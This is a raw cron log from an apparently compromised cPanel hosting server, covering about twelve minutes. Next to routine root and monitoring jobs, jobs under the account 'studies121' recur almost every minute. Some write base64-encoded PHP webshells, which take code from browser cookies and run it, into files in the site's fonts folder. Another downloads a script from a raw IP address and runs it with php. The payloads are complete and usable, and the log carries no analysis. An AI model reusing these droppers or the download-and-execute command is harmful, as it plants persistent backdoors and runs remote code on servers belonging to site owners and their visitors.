Sep  7 21:45:01 ip-184-168-122-23 CROND[24677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:45:01 ip-184-168-122-23 CROND[24679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:45:01 ip-184-168-122-23 CROND[24675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:45:01 ip-184-168-122-23 CROND[24681]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:45:01 ip-184-168-122-23 CROND[24678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:46:01 ip-184-168-122-23 CROND[24770]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 21:46:01 ip-184-168-122-23 CROND[24774]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:46:01 ip-184-168-122-23 CROND[24772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:46:01 ip-184-168-122-23 CROND[24771]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 21:46:01 ip-184-168-122-23 CROND[24773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:46:01 ip-184-168-122-23 CROND[24775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:46:01 ip-184-168-122-23 CROND[24777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:47:01 ip-184-168-122-23 CROND[24874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:47:01 ip-184-168-122-23 CROND[24872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:47:01 ip-184-168-122-23 CROND[24873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:47:01 ip-184-168-122-23 CROND[24875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:48:02 ip-184-168-122-23 CROND[24975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:48:02 ip-184-168-122-23 CROND[24978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:48:02 ip-184-168-122-23 CROND[24977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:48:02 ip-184-168-122-23 CROND[24979]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:48:02 ip-184-168-122-23 CROND[24980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:49:01 ip-184-168-122-23 CROND[25086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:49:01 ip-184-168-122-23 CROND[25087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:49:01 ip-184-168-122-23 CROND[25088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:49:01 ip-184-168-122-23 CROND[25089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:50:01 ip-184-168-122-23 CROND[25256]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 21:50:01 ip-184-168-122-23 CROND[25259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:50:01 ip-184-168-122-23 CROND[25261]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:50:01 ip-184-168-122-23 CROND[25260]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 21:50:01 ip-184-168-122-23 CROND[25263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:50:01 ip-184-168-122-23 CROND[25257]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:50:01 ip-184-168-122-23 CROND[25258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:50:01 ip-184-168-122-23 CROND[25262]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:50:01 ip-184-168-122-23 CROND[25265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:51:01 ip-184-168-122-23 CROND[25355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:51:01 ip-184-168-122-23 CROND[25358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:51:01 ip-184-168-122-23 CROND[25357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:51:01 ip-184-168-122-23 CROND[25359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:52:01 ip-184-168-122-23 CROND[25442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:52:01 ip-184-168-122-23 CROND[25446]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:52:01 ip-184-168-122-23 CROND[25447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:52:01 ip-184-168-122-23 CROND[25445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:52:01 ip-184-168-122-23 CROND[25444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:53:01 ip-184-168-122-23 CROND[25525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:53:01 ip-184-168-122-23 CROND[25524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:53:01 ip-184-168-122-23 CROND[25526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:53:01 ip-184-168-122-23 CROND[25527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:54:02 ip-184-168-122-23 CROND[25692]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:54:02 ip-184-168-122-23 CROND[25689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:54:02 ip-184-168-122-23 CROND[25688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:54:02 ip-184-168-122-23 CROND[25690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:54:02 ip-184-168-122-23 CROND[25691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:55:01 ip-184-168-122-23 CROND[25832]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 21:55:01 ip-184-168-122-23 CROND[25833]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 21:55:01 ip-184-168-122-23 CROND[25836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:55:01 ip-184-168-122-23 CROND[25837]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:55:01 ip-184-168-122-23 CROND[25838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:55:01 ip-184-168-122-23 CROND[25839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:56:01 ip-184-168-122-23 CROND[26016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 21:56:01 ip-184-168-122-23 CROND[26018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 21:56:01 ip-184-168-122-23 CROND[26017]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 21:56:01 ip-184-168-122-23 CROND[26019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 21:56:01 ip-184-168-122-23 CROND[26020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 21:57:01 ip-184-168-122-23 CROND[26110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
